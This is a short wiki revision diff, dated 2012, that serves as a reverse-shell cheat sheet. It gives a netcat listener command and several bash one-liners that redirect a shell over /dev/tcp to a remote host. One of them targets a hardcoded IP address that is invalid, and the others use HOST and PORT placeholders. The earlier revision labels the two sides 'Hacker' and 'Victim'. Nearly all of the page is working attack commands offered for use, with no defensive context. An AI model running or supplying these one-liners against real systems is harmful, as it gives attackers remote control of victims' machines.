Difference between revisions of "Netcat Pushingcats"
From MS Computech
(Created page with "'''Netcat Send connection.''' ---- '''Hacker''' <pre> #nc -l -n -vv -p 8888 </pre> '''Victim''' <pre> #/bin/bash -i > /dev/tcp/158.345.234.122/8888 0<&1 2>&1 </pre>") |
|||
Line 1: | Line 1: | ||
'''Netcat Send connection.''' | '''Netcat Send connection.''' | ||
---- | ---- | ||
− | ''' | + | '''Listenner''' |
<pre> | <pre> | ||
#nc -l -n -vv -p 8888 | #nc -l -n -vv -p 8888 | ||
</pre> | </pre> | ||
− | ''' | + | '''Sender''' |
<pre> | <pre> | ||
#/bin/bash -i > /dev/tcp/158.345.234.122/8888 0<&1 2>&1 | #/bin/bash -i > /dev/tcp/158.345.234.122/8888 0<&1 2>&1 | ||
+ | </pre> | ||
+ | |||
+ | '''Another method of reverse shell in bash''' | ||
+ | 1st method, you get the prompt “as if you were here”, but commands are echoed : | ||
+ | <pre> | ||
+ | exec 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2 | ||
+ | </pre> | ||
+ | 2nd method, less sexy, but no echo. | ||
+ | <pre> | ||
+ | /bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2 | ||
</pre> | </pre> |
Revision as of 11:05, 10 August 2012
Netcat Send connection.
Listenner
#nc -l -n -vv -p 8888
Sender
#/bin/bash -i > /dev/tcp/158.345.234.122/8888 0<&1 2>&1
Another method of reverse shell in bash 1st method, you get the prompt “as if you were here”, but commands are echoed :
exec 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
2nd method, less sexy, but no echo.
/bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2